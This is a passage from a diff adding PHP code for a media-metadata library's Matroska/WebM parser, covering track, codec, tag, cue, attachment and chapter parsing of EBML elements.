+			$this->parseEBML($info);
+		} catch (Exception $e) {
+			$this->error('EBML parser: '.$e->getMessage());
+		}
+
+		// calculate playtime
+		if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
+			foreach ($info['matroska']['info'] as $key => $infoarray) {
+				if (isset($infoarray['Duration'])) {
+					// TimecodeScale is how many nanoseconds each Duration unit is
+					$info['playtime_seconds'] = $infoarray['Duration'] * ((isset($infoarray['TimecodeScale']) ? $infoarray['TimecodeScale'] : 1000000) / 1000000000);
+					break;
+				}
+			}
+		}
+
+		// extract tags
+		if (isset($info['matroska']['tags']) && is_array($info['matroska']['tags'])) {
+			foreach ($info['matroska']['tags'] as $key => $infoarray) {
+				$this->ExtractCommentsSimpleTag($infoarray);
+			}
+		}
+
+		// process tracks
+		if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
+			foreach ($info['matroska']['tracks']['tracks'] as $key => $trackarray) {
+
+				$track_info = array();
+				$track_info['dataformat'] = self::CodecIDtoCommonName($trackarray['CodecID']);
+				$track_info['default'] = (isset($trackarray['FlagDefault']) ? $trackarray['FlagDefault'] : true);
+				if (isset($trackarray['Name'])) { $track_info['name'] = $trackarray['Name']; }
+
+				switch ($trackarray['TrackType']) {
+
+					case 1: // Video
+						$track_info['resolution_x'] = $trackarray['PixelWidth'];
+						$track_info['resolution_y'] = $trackarray['PixelHeight'];
+						$track_info['display_unit'] = self::displayUnit(isset($trackarray['DisplayUnit']) ? $trackarray['DisplayUnit'] : 0);
+						$track_info['display_x']    = (isset($trackarray['DisplayWidth']) ? $trackarray['DisplayWidth'] : $trackarray['PixelWidth']);
+						$track_info['display_y']    = (isset($trackarray['DisplayHeight']) ? $trackarray['DisplayHeight'] : $trackarray['PixelHeight']);
+
+						if (isset($trackarray['PixelCropBottom'])) { $track_info['crop_bottom'] = $trackarray['PixelCropBottom']; }
+						if (isset($trackarray['PixelCropTop']))    { $track_info['crop_top']    = $trackarray['PixelCropTop']; }
+						if (isset($trackarray['PixelCropLeft']))   { $track_info['crop_left']   = $trackarray['PixelCropLeft']; }
+						if (isset($trackarray['PixelCropRight']))  { $track_info['crop_right']  = $trackarray['PixelCropRight']; }
+						if (isset($trackarray['DefaultDuration'])) { $track_info['frame_rate']  = round(1000000000 / $trackarray['DefaultDuration'], 3); }
+						if (isset($trackarray['CodecName']))       { $track_info['codec']       = $trackarray['CodecName']; }
+
+						switch ($trackarray['CodecID']) {
+							case 'V_MS/VFW/FOURCC':
+								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);
+
+								$parsed = getid3_riff::ParseBITMAPINFOHEADER($trackarray['CodecPrivate']);
+								$track_info['codec'] = getid3_riff::fourccLookup($parsed['fourcc']);
+								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
+								break;
+
+							/*case 'V_MPEG4/ISO/AVC':
+								$h264['profile']    = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 1, 1));
+								$h264['level']      = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 3, 1));
+								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 4, 1));
+								$h264['NALUlength'] = ($rn & 3) + 1;
+								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 5, 1));
+								$nsps               = ($rn & 31);
+								$offset             = 6;
+								for ($i = 0; $i < $nsps; $i ++) {
+									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
+									$h264['SPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
+									$offset       += 2 + $length;
+								}
+								$npps               = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 1));
+								$offset            += 1;
+								for ($i = 0; $i < $npps; $i ++) {
+									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
+									$h264['PPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
+									$offset       += 2 + $length;
+								}
+								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $h264;
+								break;*/
+						}
+
+						$info['video']['streams'][] = $track_info;
+						break;
+
+					case 2: // Audio
+						$track_info['sample_rate'] = (isset($trackarray['SamplingFrequency']) ? $trackarray['SamplingFrequency'] : 8000.0);
+						$track_info['channels']    = (isset($trackarray['Channels']) ? $trackarray['Channels'] : 1);
+						$track_info['language']    = (isset($trackarray['Language']) ? $trackarray['Language'] : 'eng');
+						if (isset($trackarray['BitDepth']))  { $track_info['bits_per_sample'] = $trackarray['BitDepth']; }
+						if (isset($trackarray['CodecName'])) { $track_info['codec']           = $trackarray['CodecName']; }
+
+						switch ($trackarray['CodecID']) {
+							case 'A_PCM/INT/LIT':
+							case 'A_PCM/INT/BIG':
+								$track_info['bitrate'] = $trackarray['SamplingFrequency'] * $trackarray['Channels'] * $trackarray['BitDepth'];
+								break;
+
+							case 'A_AC3':
+							case 'A_EAC3':
+							case 'A_DTS':
+							case 'A_MPEG/L3':
+							case 'A_MPEG/L2':
+							case 'A_FLAC':
+								$module_dataformat = ($track_info['dataformat'] == 'mp2' ? 'mp3' : ($track_info['dataformat'] == 'eac3' ? 'ac3' : $track_info['dataformat']));
+								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.'.$module_dataformat.'.php', __FILE__, true);
+
+								if (!isset($info['matroska']['track_data_offsets'][$trackarray['TrackNumber']])) {
+									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because $info[matroska][track_data_offsets]['.$trackarray['TrackNumber'].'] not set');
+									break;
+								}
+
+								// create temp instance
+								$getid3_temp = new getID3();
+								if ($track_info['dataformat'] != 'flac') {
+									$getid3_temp->openfile($this->getid3->filename);
+								}
+								$getid3_temp->info['avdataoffset'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'];
+								if ($track_info['dataformat'][0] == 'm' || $track_info['dataformat'] == 'flac') {
+									$getid3_temp->info['avdataend'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'] + $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['length'];
+								}
+
+								// analyze
+								$class = 'getid3_'.$module_dataformat;
+								$header_data_key = $track_info['dataformat'][0] == 'm' ? 'mpeg' : $track_info['dataformat'];
+								$getid3_audio = new $class($getid3_temp, __CLASS__);
+								if ($track_info['dataformat'] == 'flac') {
+									$getid3_audio->AnalyzeString($trackarray['CodecPrivate']);
+								}
+								else {
+									$getid3_audio->Analyze();
+								}
+								if (!empty($getid3_temp->info[$header_data_key])) {
+									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info[$header_data_key];
+									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
+										foreach ($getid3_temp->info['audio'] as $key => $value) {
+											$track_info[$key] = $value;
+										}
+									}
+								}
+								else {
+									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because '.$class.'::Analyze() failed at offset '.$getid3_temp->info['avdataoffset']);
+								}
+
+								// copy errors and warnings
+								if (!empty($getid3_temp->info['error'])) {
+									foreach ($getid3_temp->info['error'] as $newerror) {
+										$this->warning($class.'() says: ['.$newerror.']');
+									}
+								}
+								if (!empty($getid3_temp->info['warning'])) {
+									foreach ($getid3_temp->info['warning'] as $newerror) {
+										$this->warning($class.'() says: ['.$newerror.']');
+									}
+								}
+								unset($getid3_temp, $getid3_audio);
+								break;
+
+							case 'A_AAC':
+							case 'A_AAC/MPEG2/LC':
+							case 'A_AAC/MPEG2/LC/SBR':
+							case 'A_AAC/MPEG4/LC':
+							case 'A_AAC/MPEG4/LC/SBR':
+								$this->warning($trackarray['CodecID'].' audio data contains no header, audio/video bitrates can\'t be calculated');
+								break;
+
+							case 'A_VORBIS':
+								if (!isset($trackarray['CodecPrivate'])) {
+									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data not set');
+									break;
+								}
+								$vorbis_offset = strpos($trackarray['CodecPrivate'], 'vorbis', 1);
+								if ($vorbis_offset === false) {
+									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data does not contain "vorbis" keyword');
+									break;
+								}
+								$vorbis_offset -= 1;
+
+								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);
+
+								// create temp instance
+								$getid3_temp = new getID3();
+
+								// analyze
+								$getid3_ogg = new getid3_ogg($getid3_temp);
+								$oggpageinfo['page_seqno'] = 0;
+								$getid3_ogg->ParseVorbisPageHeader($trackarray['CodecPrivate'], $vorbis_offset, $oggpageinfo);
+								if (!empty($getid3_temp->info['ogg'])) {
+									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info['ogg'];
+									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
+										foreach ($getid3_temp->info['audio'] as $key => $value) {
+											$track_info[$key] = $value;
+										}
+									}
+								}
+
+								// copy errors and warnings
+								if (!empty($getid3_temp->info['error'])) {
+									foreach ($getid3_temp->info['error'] as $newerror) {
+										$this->warning('getid3_ogg() says: ['.$newerror.']');
+									}
+								}
+								if (!empty($getid3_temp->info['warning'])) {
+									foreach ($getid3_temp->info['warning'] as $newerror) {
+										$this->warning('getid3_ogg() says: ['.$newerror.']');
+									}
+								}
+
+								if (!empty($getid3_temp->info['ogg']['bitrate_nominal'])) {
+									$track_info['bitrate'] = $getid3_temp->info['ogg']['bitrate_nominal'];
+								}
+								unset($getid3_temp, $getid3_ogg, $oggpageinfo, $vorbis_offset);
+								break;
+
+							case 'A_MS/ACM':
+								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);
+
+								$parsed = getid3_riff::parseWAVEFORMATex($trackarray['CodecPrivate']);
+								foreach ($parsed as $key => $value) {
+									if ($key != 'raw') {
+										$track_info[$key] = $value;
+									}
+								}
+								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
+								break;
+
+							default:
+								$this->warning('Unhandled audio type "'.(isset($trackarray['CodecID']) ? $trackarray['CodecID'] : '').'"');
+								break;
+						}
+
+						$info['audio']['streams'][] = $track_info;
+						break;
+				}
+			}
+
+			if (!empty($info['video']['streams'])) {
+				$info['video'] = self::getDefaultStreamInfo($info['video']['streams']);
+			}
+			if (!empty($info['audio']['streams'])) {
+				$info['audio'] = self::getDefaultStreamInfo($info['audio']['streams']);
+			}
+		}
+
+		// process attachments
+		if (isset($info['matroska']['attachments']) && $this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE) {
+			foreach ($info['matroska']['attachments'] as $i => $entry) {
+				if (strpos($entry['FileMimeType'], 'image/') === 0 && !empty($entry['FileData'])) {
+					$info['matroska']['comments']['picture'][] = array('data' => $entry['FileData'], 'image_mime' => $entry['FileMimeType'], 'filename' => $entry['FileName']);
+				}
+			}
+		}
+
+		// determine mime type
+		if (!empty($info['video']['streams'])) {
+			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'video/webm' : 'video/x-matroska');
+		} elseif (!empty($info['audio']['streams'])) {
+			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'audio/webm' : 'audio/x-matroska');
+		} elseif (isset($info['mime_type'])) {
+			unset($info['mime_type']);
+		}
+
+		return true;
+	}
+
+	private function parseEBML(&$info) {
+		// http://www.matroska.org/technical/specs/index.html#EBMLBasics
+		$this->current_offset = $info['avdataoffset'];
+
+		while ($this->getEBMLelement($top_element, $info['avdataend'])) {
+			switch ($top_element['id']) {
+
+				case EBML_ID_EBML:
+					$info['matroska']['header']['offset'] = $top_element['offset'];
+					$info['matroska']['header']['length'] = $top_element['length'];
+
+					while ($this->getEBMLelement($element_data, $top_element['end'], true)) {
+						switch ($element_data['id']) {
+
+							case EBML_ID_EBMLVERSION:
+							case EBML_ID_EBMLREADVERSION:
+							case EBML_ID_EBMLMAXIDLENGTH:
+							case EBML_ID_EBMLMAXSIZELENGTH:
+							case EBML_ID_DOCTYPEVERSION:
+							case EBML_ID_DOCTYPEREADVERSION:
+								$element_data['data'] = getid3_lib::BigEndian2Int($element_data['data']);
+								break;
+
+							case EBML_ID_DOCTYPE:
+								$element_data['data'] = getid3_lib::trimNullByte($element_data['data']);
+								$info['matroska']['doctype'] = $element_data['data'];
+								$info['fileformat'] = $element_data['data'];
+								break;
+
+							default:
+								$this->unhandledElement('header', __LINE__, $element_data);
+								break;
+						}
+
+						unset($element_data['offset'], $element_data['end']);
+						$info['matroska']['header']['elements'][] = $element_data;
+					}
+					break;
+
+				case EBML_ID_SEGMENT:
+					$info['matroska']['segment'][0]['offset'] = $top_element['offset'];
+					$info['matroska']['segment'][0]['length'] = $top_element['length'];
+
+					while ($this->getEBMLelement($element_data, $top_element['end'])) {
+						if ($element_data['id'] != EBML_ID_CLUSTER || !self::$hide_clusters) { // collect clusters only if required
+							$info['matroska']['segments'][] = $element_data;
+						}
+						switch ($element_data['id']) {
+
+							case EBML_ID_SEEKHEAD: // Contains the position of other level 1 elements.
+
+								while ($this->getEBMLelement($seek_entry, $element_data['end'])) {
+									switch ($seek_entry['id']) {
+
+										case EBML_ID_SEEK: // Contains a single seek entry to an EBML element
+											while ($this->getEBMLelement($sub_seek_entry, $seek_entry['end'], true)) {
+
+												switch ($sub_seek_entry['id']) {
+
+													case EBML_ID_SEEKID:
+														$seek_entry['target_id']   = self::EBML2Int($sub_seek_entry['data']);
+														$seek_entry['target_name'] = self::EBMLidName($seek_entry['target_id']);
+														break;
+
+													case EBML_ID_SEEKPOSITION:
+														$seek_entry['target_offset'] = $element_data['offset'] + getid3_lib::BigEndian2Int($sub_seek_entry['data']);
+														break;
+
+													default:
+														$this->unhandledElement('seekhead.seek', __LINE__, $sub_seek_entry);												}
+														break;
+											}
+											if (!isset($seek_entry['target_id'])) {
+												$this->warning('seek_entry[target_id] unexpectedly not set at '.$seek_entry['offset']);
+												break;
+											}
+											if (($seek_entry['target_id'] != EBML_ID_CLUSTER) || !self::$hide_clusters) { // collect clusters only if required
+												$info['matroska']['seek'][] = $seek_entry;
+											}
+											break;
+
+										default:
+											$this->unhandledElement('seekhead', __LINE__, $seek_entry);
+											break;
+									}
+								}
+								break;
+
+							case EBML_ID_TRACKS: // A top-level block of information with many tracks described.
+								$info['matroska']['tracks'] = $element_data;
+
+								while ($this->getEBMLelement($track_entry, $element_data['end'])) {
+									switch ($track_entry['id']) {
+
+										case EBML_ID_TRACKENTRY: //subelements: Describes a track with all elements.
+
+											while ($this->getEBMLelement($subelement, $track_entry['end'], array(EBML_ID_VIDEO, EBML_ID_AUDIO, EBML_ID_CONTENTENCODINGS, EBML_ID_CODECPRIVATE))) {
+												switch ($subelement['id']) {
+
+													case EBML_ID_TRACKNUMBER:
+													case EBML_ID_TRACKUID:
+													case EBML_ID_TRACKTYPE:
+													case EBML_ID_MINCACHE:
+													case EBML_ID_MAXCACHE:
+													case EBML_ID_MAXBLOCKADDITIONID:
+													case EBML_ID_DEFAULTDURATION: // nanoseconds per frame
+														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
+														break;
+
+													case EBML_ID_TRACKTIMECODESCALE:
+														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
+														break;
+
+													case EBML_ID_CODECID:
+													case EBML_ID_LANGUAGE:
+													case EBML_ID_NAME:
+													case EBML_ID_CODECNAME:
+														$track_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
+														break;
+
+													case EBML_ID_CODECPRIVATE:
+														$track_entry[$subelement['id_name']] = $this->readEBMLelementData($subelement['length'], true);
+														break;
+
+													case EBML_ID_FLAGENABLED:
+													case EBML_ID_FLAGDEFAULT:
+													case EBML_ID_FLAGFORCED:
+													case EBML_ID_FLAGLACING:
+													case EBML_ID_CODECDECODEALL:
+														$track_entry[$subelement['id_name']] = (bool) getid3_lib::BigEndian2Int($subelement['data']);
+														break;
+
+													case EBML_ID_VIDEO:
+
+														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
+															switch ($sub_subelement['id']) {
+
+																case EBML_ID_PIXELWIDTH:
+																case EBML_ID_PIXELHEIGHT:
+																case EBML_ID_PIXELCROPBOTTOM:
+																case EBML_ID_PIXELCROPTOP:
+																case EBML_ID_PIXELCROPLEFT:
+																case EBML_ID_PIXELCROPRIGHT:
+																case EBML_ID_DISPLAYWIDTH:
+																case EBML_ID_DISPLAYHEIGHT:
+																case EBML_ID_DISPLAYUNIT:
+																case EBML_ID_ASPECTRATIOTYPE:
+																case EBML_ID_STEREOMODE:
+																case EBML_ID_OLDSTEREOMODE:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_FLAGINTERLACED:
+																	$track_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_GAMMAVALUE:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_COLOURSPACE:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
+																	break;
+
+																default:
+																	$this->unhandledElement('track.video', __LINE__, $sub_subelement);
+																	break;
+															}
+														}
+														break;
+
+													case EBML_ID_AUDIO:
+
+														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
+															switch ($sub_subelement['id']) {
+
+																case EBML_ID_CHANNELS:
+																case EBML_ID_BITDEPTH:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_SAMPLINGFREQUENCY:
+																case EBML_ID_OUTPUTSAMPLINGFREQUENCY:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
+																	break;
+
+																case EBML_ID_CHANNELPOSITIONS:
+																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
+																	break;
+
+																default:
+																	$this->unhandledElement('track.audio', __LINE__, $sub_subelement);
+																	break;
+															}
+														}
+														break;
+
+													case EBML_ID_CONTENTENCODINGS:
+
+														while ($this->getEBMLelement($sub_subelement, $subelement['end'])) {
+															switch ($sub_subelement['id']) {
+
+																case EBML_ID_CONTENTENCODING:
+
+																	while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CONTENTCOMPRESSION, EBML_ID_CONTENTENCRYPTION))) {
+																		switch ($sub_sub_subelement['id']) {
+
+																			case EBML_ID_CONTENTENCODINGORDER:
+																			case EBML_ID_CONTENTENCODINGSCOPE:
+																			case EBML_ID_CONTENTENCODINGTYPE:
+																				$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																				break;
+
+																			case EBML_ID_CONTENTCOMPRESSION:
+
+																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
+																					switch ($sub_sub_sub_subelement['id']) {
+
+																						case EBML_ID_CONTENTCOMPALGO:
+																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
+																							break;
+
+																						case EBML_ID_CONTENTCOMPSETTINGS:
+																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
+																							break;
+
+																						default:
+																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
+																							break;
+																					}
+																				}
+																				break;
+
+																			case EBML_ID_CONTENTENCRYPTION:
+
+																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
+																					switch ($sub_sub_sub_subelement['id']) {
+
+																						case EBML_ID_CONTENTENCALGO:
+																						case EBML_ID_CONTENTSIGALGO:
+																						case EBML_ID_CONTENTSIGHASHALGO:
+																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
+																							break;
+
+																						case EBML_ID_CONTENTENCKEYID:
+																						case EBML_ID_CONTENTSIGNATURE:
+																						case EBML_ID_CONTENTSIGKEYID:
+																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
+																							break;
+
+																						default:
+																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
+																							break;
+																					}
+																				}
+																				break;
+
+																			default:
+																				$this->unhandledElement('track.contentencodings.contentencoding', __LINE__, $sub_sub_subelement);
+																				break;
+																		}
+																	}
+																	break;
+
+																default:
+																	$this->unhandledElement('track.contentencodings', __LINE__, $sub_subelement);
+																	break;
+															}
+														}
+														break;
+
+													default:
+														$this->unhandledElement('track', __LINE__, $subelement);
+														break;
+												}
+											}
+
+											$info['matroska']['tracks']['tracks'][] = $track_entry;
+											break;
+
+										default:
+											$this->unhandledElement('tracks', __LINE__, $track_entry);
+											break;
+									}
+								}
+								break;
+
+							case EBML_ID_INFO: // Contains miscellaneous general information and statistics on the file.
+								$info_entry = array();
+
+								while ($this->getEBMLelement($subelement, $element_data['end'], true)) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_TIMECODESCALE:
+											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
+											break;
+
+										case EBML_ID_DURATION:
+											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
+											break;
+
+										case EBML_ID_DATEUTC:
+											$info_entry[$subelement['id_name']]         = getid3_lib::BigEndian2Int($subelement['data']);
+											$info_entry[$subelement['id_name'].'_unix'] = self::EBMLdate2unix($info_entry[$subelement['id_name']]);
+											break;
+
+										case EBML_ID_SEGMENTUID:
+										case EBML_ID_PREVUID:
+										case EBML_ID_NEXTUID:
+											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
+											break;
+
+										case EBML_ID_SEGMENTFAMILY:
+											$info_entry[$subelement['id_name']][] = getid3_lib::trimNullByte($subelement['data']);
+											break;
+
+										case EBML_ID_SEGMENTFILENAME:
+										case EBML_ID_PREVFILENAME:
+										case EBML_ID_NEXTFILENAME:
+										case EBML_ID_TITLE:
+										case EBML_ID_MUXINGAPP:
+										case EBML_ID_WRITINGAPP:
+											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
+											$info['matroska']['comments'][strtolower($subelement['id_name'])][] = $info_entry[$subelement['id_name']];
+											break;
+
+										case EBML_ID_CHAPTERTRANSLATE:
+											$chaptertranslate_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_CHAPTERTRANSLATEEDITIONUID:
+														$chaptertranslate_entry[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_CHAPTERTRANSLATECODEC:
+														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_CHAPTERTRANSLATEID:
+														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('info.chaptertranslate', __LINE__, $sub_subelement);
+														break;
+												}
+											}
+											$info_entry[$subelement['id_name']] = $chaptertranslate_entry;
+											break;
+
+										default:
+											$this->unhandledElement('info', __LINE__, $subelement);
+											break;
+									}
+								}
+								$info['matroska']['info'][] = $info_entry;
+								break;
+
+							case EBML_ID_CUES: // A top-level element to speed seeking access. All entries are local to the segment. Should be mandatory for non "live" streams.
+								if (self::$hide_clusters) { // do not parse cues if hide clusters is "ON" till they point to clusters anyway
+									$this->current_offset = $element_data['end'];
+									break;
+								}
+								$cues_entry = array();
+
+								while ($this->getEBMLelement($subelement, $element_data['end'])) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_CUEPOINT:
+											$cuepoint_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CUETRACKPOSITIONS))) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_CUETRACKPOSITIONS:
+														$cuetrackpositions_entry = array();
+
+														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
+															switch ($sub_sub_subelement['id']) {
+
+																case EBML_ID_CUETRACK:
+																case EBML_ID_CUECLUSTERPOSITION:
+																case EBML_ID_CUEBLOCKNUMBER:
+																case EBML_ID_CUECODECSTATE:
+																	$cuetrackpositions_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	break;
+
+																default:
+																	$this->unhandledElement('cues.cuepoint.cuetrackpositions', __LINE__, $sub_sub_subelement);
+																	break;
+															}
+														}
+														$cuepoint_entry[$sub_subelement['id_name']][] = $cuetrackpositions_entry;
+														break;
+
+													case EBML_ID_CUETIME:
+														$cuepoint_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('cues.cuepoint', __LINE__, $sub_subelement);
+														break;
+												}
+											}
+											$cues_entry[] = $cuepoint_entry;
+											break;
+
+										default:
+											$this->unhandledElement('cues', __LINE__, $subelement);
+											break;
+									}
+								}
+								$info['matroska']['cues'] = $cues_entry;
+								break;
+
+							case EBML_ID_TAGS: // Element containing elements specific to Tracks/Chapters.
+								$tags_entry = array();
+
+								while ($this->getEBMLelement($subelement, $element_data['end'], false)) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_TAG:
+											$tag_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], false)) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_TARGETS:
+														$targets_entry = array();
+
+														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
+															switch ($sub_sub_subelement['id']) {
+
+																case EBML_ID_TARGETTYPEVALUE:
+																	$targets_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	$targets_entry[strtolower($sub_sub_subelement['id_name']).'_long'] = self::TargetTypeValue($targets_entry[$sub_sub_subelement['id_name']]);
+																	break;
+
+																case EBML_ID_TARGETTYPE:
+																	$targets_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
+																	break;
+
+																case EBML_ID_TAGTRACKUID:
+																case EBML_ID_TAGEDITIONUID:
+																case EBML_ID_TAGCHAPTERUID:
+																case EBML_ID_TAGATTACHMENTUID:
+																	$targets_entry[$sub_sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	break;
+
+																default:
+																	$this->unhandledElement('tags.tag.targets', __LINE__, $sub_sub_subelement);
+																	break;
+															}
+														}
+														$tag_entry[$sub_subelement['id_name']] = $targets_entry;
+														break;
+
+													case EBML_ID_SIMPLETAG:
+														$tag_entry[$sub_subelement['id_name']][] = $this->HandleEMBLSimpleTag($sub_subelement['end']);
+														break;
+
+													default:
+														$this->unhandledElement('tags.tag', __LINE__, $sub_subelement);
+														break;
+												}
+											}
+											$tags_entry[] = $tag_entry;
+											break;
+
+										default:
+											$this->unhandledElement('tags', __LINE__, $subelement);
+											break;
+									}
+								}
+								$info['matroska']['tags'] = $tags_entry;
+								break;
+
+							case EBML_ID_ATTACHMENTS: // Contain attached files.
+
+								while ($this->getEBMLelement($subelement, $element_data['end'])) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_ATTACHEDFILE:
+											$attachedfile_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_FILEDATA))) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_FILEDESCRIPTION:
+													case EBML_ID_FILENAME:
+													case EBML_ID_FILEMIMETYPE:
+														$attachedfile_entry[$sub_subelement['id_name']] = $sub_subelement['data'];
+														break;
+
+													case EBML_ID_FILEDATA:
+														$attachedfile_entry['data_offset'] = $this->current_offset;
+														$attachedfile_entry['data_length'] = $sub_subelement['length'];
+
+														$attachedfile_entry[$sub_subelement['id_name']] = $this->saveAttachment(
+															$attachedfile_entry['FileName'],
+															$attachedfile_entry['data_offset'],
+															$attachedfile_entry['data_length']);
+
+														$this->current_offset = $sub_subelement['end'];
+														break;
+
+													case EBML_ID_FILEUID:
+														$attachedfile_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('attachments.attachedfile', __LINE__, $sub_subelement);
+														break;
+												}
+											}
+											$info['matroska']['attachments'][] = $attachedfile_entry;
+											break;
+
+										default:
+											$this->unhandledElement('attachments', __LINE__, $subelement);
+											break;
+									}
+								}
+								break;
+
+							case EBML_ID_CHAPTERS:
+
+								while ($this->getEBMLelement($subelement, $element_data['end'])) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_EDITIONENTRY:
+											$editionentry_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CHAPTERATOM))) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_EDITIONUID:
+														$editionentry_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
